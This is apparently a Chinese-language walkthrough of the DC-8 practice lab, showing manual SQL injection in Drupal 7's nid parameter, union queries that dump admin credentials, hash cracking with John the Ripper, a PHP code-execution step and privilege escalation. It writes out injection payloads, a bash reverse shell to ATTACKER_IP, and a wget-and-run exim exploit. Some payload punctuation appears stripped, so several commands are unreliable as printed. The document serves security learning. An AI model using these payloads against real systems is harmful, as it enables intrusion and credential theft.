手工挖掘Drupal 7的SQL注入从参数分析到哈希破解实战当大多数渗透测试者还在依赖sqlmap这类自动化工具时真正理解SQL注入原理的手工技术往往被忽视。本文将以DC-8靶场为例带你逐步拆解?nid1这个看似简单的参数背后隐藏的注入漏洞从初步发现到最终获取系统权限的全过程。不同于工具的直接输出我们将专注于每个技术环节的手工验证与原理分析适合那些希望摆脱脚本小子标签、深入理解Web安全本质的学习者。1. 注入点的发现与初步验证在渗透测试中最容易被忽视的往往是那些看似无害的URL参数。DC-8靶场的Drupal 7系统中nid参数就是一个典型的例子。这个用于传递节点ID的参数表面上看只是简单的数字查询实则暗藏玄机。判断注入可能性的三个关键指标参数值变化影响输出内容修改nid1为nid2时页面显示内容会相应变化异常输入引发错误尝试nid1时页面返回数据库错误信息逻辑运算结果验证测试nid1 and 11与nid1 and 12的响应差异手工测试时我习惯使用Burp Suite的Repeater模块进行快速验证。以下是几个基础测试用例GET /?nid1%20and%2011 HTTP/1.1 Host: dc-8GET /?nid1%20and%2012 HTTP/1.1 Host: dc-8当11返回正常页面而12返回异常时基本可以确认存在布尔型注入漏洞。更进一步可以通过以下方式确认注入类型nid1 union select null -- nid1 union select null,null -- nid1 union select null,null,null --通过不断增加null数量直到页面正常显示可以确定当前查询的列数。在DC-8靶场中经过测试确认nid参数对应的查询返回4列数据。2. 手工构造Union查询获取数据库信息确认注入点后下一步是通过Union查询提取数据库关键信息。Union注入的优势在于可以直接在页面中显示查询结果而不需要依赖盲注技术。关键信息提取步骤确定显示位通过union select 1,2,3,4确认哪些列会在页面中显示获取基础信息union select 1,user(),database(),4查询表结构union select 1,table_name,column_name,4 from information_schema.columns where table_schemadatabase()在DC-8靶场中我们发现Drupal 7的数据库名为d7db其中users表存储了管理员凭据。以下是提取用户数据的完整查询nid1 union select 1,concat(name,0x3a,pass),mail,4 from d7db.users where uid1 --执行后页面显示了管理员账户的哈希密码格式为$S$开头的Drupal特有哈希。这种格式的密码采用SHA-512算法配合Drupal特有的迭代次数和盐值进行加密。3. Drupal哈希密码破解实战Drupal 7的密码哈希格式为$S$后跟一个字符表示迭代次数然后是8字节的盐值和实际的哈希值。例如$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z破解步骤详解识别哈希格式使用hashid工具确认哈希类型hashid $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z准备字典文件收集常用密码字典如rockyou.txt使用John the Ripper破解john --formatdrupal7 hash.txt --wordlistrockyou.txt验证结果破解成功后John会显示明文密码在DC-8靶场中我们成功破解出用户john的密码为turtle。这个密码看似简单但在实际渗透测试中这类弱密码仍然十分常见。4. 从后台登录到系统提权获取有效凭据后下一步是寻找后台登录入口。Drupal系统的后台通常位于/user路径POST /user/login HTTP/1.1 Host: dc-8 Content-Type: application/x-www-form-urlencoded namejohnpassturtleform_iduser_login_formopLogin成功登录后台后Drupal 7的模块管理页面往往存在代码执行漏洞。我们可以通过以下步骤获取WebShell寻找代码执行点在添加新模块或PHP过滤器等位置测试PHP执行?php system(id); ?建立反向Shell?php system(bash -c bash -i /dev/tcp/ATTACKER_IP/PORT 01); ?获取初步Shell后通常需要提权操作。在DC-8靶场中我们发现exim4服务存在SUID提权可能find / -perm -4000 -type f 2/dev/null通过搜索Exim 4.89的已知漏洞我们可以利用本地提权脚本获取root权限wget http://ATTACKER_IP/exim-exploit.sh chmod x exim-exploit.sh ./exim-exploit.sh成功提权后最后的flag文件通常位于/root目录下完成整个渗透测试流程。